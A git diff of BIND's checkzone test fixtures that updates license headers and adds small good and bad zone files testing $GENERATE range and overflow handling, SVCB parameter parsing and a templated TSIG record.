@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+$GENERATE 0-7   host$	A 1.2.3.${1000
diff --git a/bin/tests/system/checkzone/zones/bad-generate-range.db b/bin/tests/system/checkzone/zones/bad-generate-range.db
new file mode 100644
index 0000000000..62a9e15684
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-generate-range.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+; 2147483647 + 1 overflows what can be represented in an 'int'
+$GENERATE 1-1   host$	TXT foo${2147483647}
diff --git a/bin/tests/system/checkzone/zones/bad-generate-tkey.db b/bin/tests/system/checkzone/zones/bad-generate-tkey.db
index f86f15c793..8c05e51dfc 100644
--- a/bin/tests/system/checkzone/zones/bad-generate-tkey.db
+++ b/bin/tests/system/checkzone/zones/bad-generate-tkey.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad-nimloc.db b/bin/tests/system/checkzone/zones/bad-nimloc.db
index fa059416d9..56d04c627b 100644
--- a/bin/tests/system/checkzone/zones/bad-nimloc.db
+++ b/bin/tests/system/checkzone/zones/bad-nimloc.db
@@ -1,2 +1,10 @@
-@	3600 NIMLOC
-@	3600 NIMLOC
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
\ No newline at end of file
diff --git a/bin/tests/system/checkzone/zones/bad-nsap-empty.db b/bin/tests/system/checkzone/zones/bad-nsap-empty.db
index 3ed2451a8a..fb8fdd04db 100644
--- a/bin/tests/system/checkzone/zones/bad-nsap-empty.db
+++ b/bin/tests/system/checkzone/zones/bad-nsap-empty.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad-nsap-odd-nibble.db b/bin/tests/system/checkzone/zones/bad-nsap-odd-nibble.db
index f8c82f5a07..d287648ec6 100644
--- a/bin/tests/system/checkzone/zones/bad-nsap-odd-nibble.db
+++ b/bin/tests/system/checkzone/zones/bad-nsap-odd-nibble.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad-nsec3-padded.db b/bin/tests/system/checkzone/zones/bad-nsec3-padded.db
index 77d8ead2ab..8212bc4588 100644
--- a/bin/tests/system/checkzone/zones/bad-nsec3-padded.db
+++ b/bin/tests/system/checkzone/zones/bad-nsec3-padded.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad-nsec3owner-padded.db b/bin/tests/system/checkzone/zones/bad-nsec3owner-padded.db
index 3f9bbb6a9c..bf3c5abc46 100644
--- a/bin/tests/system/checkzone/zones/bad-nsec3owner-padded.db
+++ b/bin/tests/system/checkzone/zones/bad-nsec3owner-padded.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad-svcb-mandatory.db b/bin/tests/system/checkzone/zones/bad-svcb-mandatory.db
new file mode 100644
index 0000000000..368f0ca309
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-svcb-mandatory.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+svcb		SVCB	0 . mandatory=alpn
diff --git a/bin/tests/system/checkzone/zones/bad-svcb-servername.db b/bin/tests/system/checkzone/zones/bad-svcb-servername.db
new file mode 100644
index 0000000000..61751a02c3
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-svcb-servername.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+svcb		SVCB	1 _underscore.example. port=60 alpn=h3 ech="ZWFzdGVyIGVnZyE="
diff --git a/bin/tests/system/checkzone/zones/bad-svcb.db b/bin/tests/system/checkzone/zones/bad-svcb.db
new file mode 100644
index 0000000000..ad710bf0cc
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-svcb.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+svcb		SVCB	0 . unknown=wha
diff --git a/bin/tests/system/checkzone/zones/bad-tkey.db b/bin/tests/system/checkzone/zones/bad-tkey.db
index 00f25db9a8..a030074985 100644
--- a/bin/tests/system/checkzone/zones/bad-tkey.db
+++ b/bin/tests/system/checkzone/zones/bad-tkey.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad-tsig.db b/bin/tests/system/checkzone/zones/bad-tsig.db
deleted file mode 100644
index 76af2e9a2b..0000000000
--- a/bin/tests/system/checkzone/zones/bad-tsig.db
+++ /dev/null
@@ -1,15 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 600
-@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
-		NS	ns
-ns		A	192.0.2.1
-
-tsig		TSIG    hmac-sha1. 1516135665 300 20 thBt8DheAD7qpqSFTiGK999sxGg= 54994 NOERROR 0
diff --git a/bin/tests/system/checkzone/zones/bad-tsig.db.in b/bin/tests/system/checkzone/zones/bad-tsig.db.in
new file mode 100644
index 0000000000..daef06c394
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/bad-tsig.db.in
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+tsig		TSIG    @DEFAULT_HMAC@ 1516135665 300 20 thBt8DheAD7qpqSFTiGK999sxGg= 54994 NOERROR 0
diff --git a/bin/tests/system/checkzone/zones/bad-unspec.db b/bin/tests/system/checkzone/zones/bad-unspec.db
index 2352ff95f0..e5abefea21 100644
--- a/bin/tests/system/checkzone/zones/bad-unspec.db
+++ b/bin/tests/system/checkzone/zones/bad-unspec.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad1.db b/bin/tests/system/checkzone/zones/bad1.db
index c17ab0cdf8..05ab829644 100644
Binary files a/bin/tests/system/checkzone/zones/bad1.db and b/bin/tests/system/checkzone/zones/bad1.db differ
diff --git a/bin/tests/system/checkzone/zones/bad2.db b/bin/tests/system/checkzone/zones/bad2.db
index e6afacdd4a..38e82e6956 100644
--- a/bin/tests/system/checkzone/zones/bad2.db
+++ b/bin/tests/system/checkzone/zones/bad2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad3.db b/bin/tests/system/checkzone/zones/bad3.db
index 44e45e5102..1391afe7f0 100644
--- a/bin/tests/system/checkzone/zones/bad3.db
+++ b/bin/tests/system/checkzone/zones/bad3.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/bad4.db b/bin/tests/system/checkzone/zones/bad4.db
index 4e6ec79b18..99def7a70c 100644
--- a/bin/tests/system/checkzone/zones/bad4.db
+++ b/bin/tests/system/checkzone/zones/bad4.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/badttl.db b/bin/tests/system/checkzone/zones/badttl.db
index 43fb41a3ca..95cd422bb0 100644
--- a/bin/tests/system/checkzone/zones/badttl.db
+++ b/bin/tests/system/checkzone/zones/badttl.db
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL
 @		SOA     ns hostmaster 2011012708 3600 1200 604800 1200
                 NS      ns
diff --git a/bin/tests/system/checkzone/zones/crashzone.db b/bin/tests/system/checkzone/zones/crashzone.db
index c6bd4e948d..2a62e2a09d 100644
--- a/bin/tests/system/checkzone/zones/crashzone.db
+++ b/bin/tests/system/checkzone/zones/crashzone.db
@@ -2,7 +2,7 @@
 ;
 ; This Source Code Form is subject to the terms of the Mozilla Public
 ; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/delegating-ns-address-below-dname.db b/bin/tests/system/checkzone/zones/delegating-ns-address-below-dname.db
index d26f51b5d6..78c1029171 100644
--- a/bin/tests/system/checkzone/zones/delegating-ns-address-below-dname.db
+++ b/bin/tests/system/checkzone/zones/delegating-ns-address-below-dname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/generate-overflow.db b/bin/tests/system/checkzone/zones/generate-overflow.db
new file mode 100644
index 0000000000..c16b517481
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/generate-overflow.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+$GENERATE 19-28/2147483645	$ CNAME x
diff --git a/bin/tests/system/checkzone/zones/good-cdnskey.db b/bin/tests/system/checkzone/zones/good-cdnskey.db
index 7ab4b3f4eb..7892f13c16 100644
--- a/bin/tests/system/checkzone/zones/good-cdnskey.db
+++ b/bin/tests/system/checkzone/zones/good-cdnskey.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 example.	0	SOA	. . 0 0 0 0 0
 example.	0 	NS	.
 example. 	0	DNSKEY	257 3 10 AwEAAbqjg7xdvnU2Q/gtLw5LOfr5cDeTRjYuEbkzGrUiVSOSoxcTxuao WS/AFPQHuD8OSLiE/CeZ087JowREXl058rRfae8KMrveY17V0wmKs9N1 F1wf/hRDpXiThlRHWlskp8eSEEIqYrrHgWTesy/xDGIEOFM1gwRo0w8j KdRRJeL2hseTMa+m3rTzrYudUsI0BHLW8PiDUCbG5xgdee8/5YR4847i AAqHIiPJ1Z/IT53OIjMmtv5BUykZ8RYjlJxxX+C+dpRKiK73SQaR3hCB XAYOL9WsDp2/fpmEZpewavkMkdC+j2CX+z27MCS3ASO0AeKK0lcNXwND kgreE+Kr7gc=
diff --git a/bin/tests/system/checkzone/zones/good-cds-unsigned.db b/bin/tests/system/checkzone/zones/good-cds-unsigned.db
index affb60039f..9b1737db48 100644
--- a/bin/tests/system/checkzone/zones/good-cds-unsigned.db
+++ b/bin/tests/system/checkzone/zones/good-cds-unsigned.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 example.	0	SOA	. . 0 0 0 0 0
 example.	0	NS	.
 example.	0	CDS	0 0 0 00
diff --git a/bin/tests/system/checkzone/zones/good-cds.db b/bin/tests/system/checkzone/zones/good-cds.db
index dcd5f3997d..9200657d32 100644
--- a/bin/tests/system/checkzone/zones/good-cds.db
+++ b/bin/tests/system/checkzone/zones/good-cds.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 example.	0	SOA	. . 0 0 0 0 0
 example.	0 	NS	.
 example. 	0	DNSKEY	257 3 10 AwEAAbqjg7xdvnU2Q/gtLw5LOfr5cDeTRjYuEbkzGrUiVSOSoxcTxuao WS/AFPQHuD8OSLiE/CeZ087JowREXl058rRfae8KMrveY17V0wmKs9N1 F1wf/hRDpXiThlRHWlskp8eSEEIqYrrHgWTesy/xDGIEOFM1gwRo0w8j KdRRJeL2hseTMa+m3rTzrYudUsI0BHLW8PiDUCbG5xgdee8/5YR4847i AAqHIiPJ1Z/IT53OIjMmtv5BUykZ8RYjlJxxX+C+dpRKiK73SQaR3hCB XAYOL9WsDp2/fpmEZpewavkMkdC+j2CX+z27MCS3ASO0AeKK0lcNXwND kgreE+Kr7gc=
diff --git a/bin/tests/system/checkzone/zones/good-dns-sd-reverse.db b/bin/tests/system/checkzone/zones/good-dns-sd-reverse.db
index 566ce5b3e9..fffd27b834 100644
--- a/bin/tests/system/checkzone/zones/good-dns-sd-reverse.db
+++ b/bin/tests/system/checkzone/zones/good-dns-sd-reverse.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/good-gc-msdcs.db b/bin/tests/system/checkzone/zones/good-gc-msdcs.db
index cf9bc74585..defd550fc0 100644
--- a/bin/tests/system/checkzone/zones/good-gc-msdcs.db
+++ b/bin/tests/system/checkzone/zones/good-gc-msdcs.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/good-generate-modifier.db b/bin/tests/system/checkzone/zones/good-generate-modifier.db
new file mode 100644
index 0000000000..3c811d60e0
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/good-generate-modifier.db
@@ -0,0 +1,20 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+$GENERATE 0-7   host$	A 1.2.3.${1,0,d}
+$GENERATE 8-9   host$	A 1.2.3.${1,0}
+$GENERATE 10-11 host$	A 1.2.3.${1}
+$GENERATE 1024-1026 ${0,3,n}	AAAA 2001:db8::${0,4,x}
diff --git a/bin/tests/system/checkzone/zones/good-nsap.db b/bin/tests/system/checkzone/zones/good-nsap.db
index c7bc655a1c..8ad9ee050a 100644
--- a/bin/tests/system/checkzone/zones/good-nsap.db
+++ b/bin/tests/system/checkzone/zones/good-nsap.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/good-nsec3-nopadhash.db b/bin/tests/system/checkzone/zones/good-nsec3-nopadhash.db
index 4b4d4e4c57..5bd378ca4e 100644
--- a/bin/tests/system/checkzone/zones/good-nsec3-nopadhash.db
+++ b/bin/tests/system/checkzone/zones/good-nsec3-nopadhash.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/good-occulted-ns-by-dname.db b/bin/tests/system/checkzone/zones/good-occulted-ns-by-dname.db
index caa78561aa..80fc4a6ff9 100644
--- a/bin/tests/system/checkzone/zones/good-occulted-ns-by-dname.db
+++ b/bin/tests/system/checkzone/zones/good-occulted-ns-by-dname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/good-occulted-ns-by-ns.db b/bin/tests/system/checkzone/zones/good-occulted-ns-by-ns.db
index bdc8c6b335..38913b9b77 100644
--- a/bin/tests/system/checkzone/zones/good-occulted-ns-by-ns.db
+++ b/bin/tests/system/checkzone/zones/good-occulted-ns-by-ns.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/good-spf-exception.db b/bin/tests/system/checkzone/zones/good-spf-exception.db
index 1de8cec52b..212bfbc642 100644
--- a/bin/tests/system/checkzone/zones/good-spf-exception.db
+++ b/bin/tests/system/checkzone/zones/good-spf-exception.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/good-svcb.db b/bin/tests/system/checkzone/zones/good-svcb.db
new file mode 100644
index 0000000000..df868f3d4e
--- /dev/null
+++ b/bin/tests/system/checkzone/zones/good-svcb.db
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		SOA	ns hostmaster 2011012708 3600 1200 604800 1200
+		NS	ns
+ns		A	192.0.2.1
+
+svcb0		SVCB	0 example.net.
+svcb1		SVCB	1 . port=60 alpn=h3 ech="ZWFzdGVyIGVnZyE="
+svcb2		SVCB	2 . no-default-alpn alpn=alpn
+svcb3		SVCB	3 . ipv4hint="10.10.10.10"
+svcb4		SVCB	4 . ipv6hint="feed:a::bee"
+svcb5		SVCB	5 . key9999="something"
+svcb6		SVCB	6 . mandatory=port,alpn port=60 alpn=h3
+svcb7		SVCB	7 . mandatory=port,alpn port=60 alpn=h1,h3
+svcb8		SVCB	8 . mandatory=port,alpn port=60 alpn="h1\\,h2,h3"
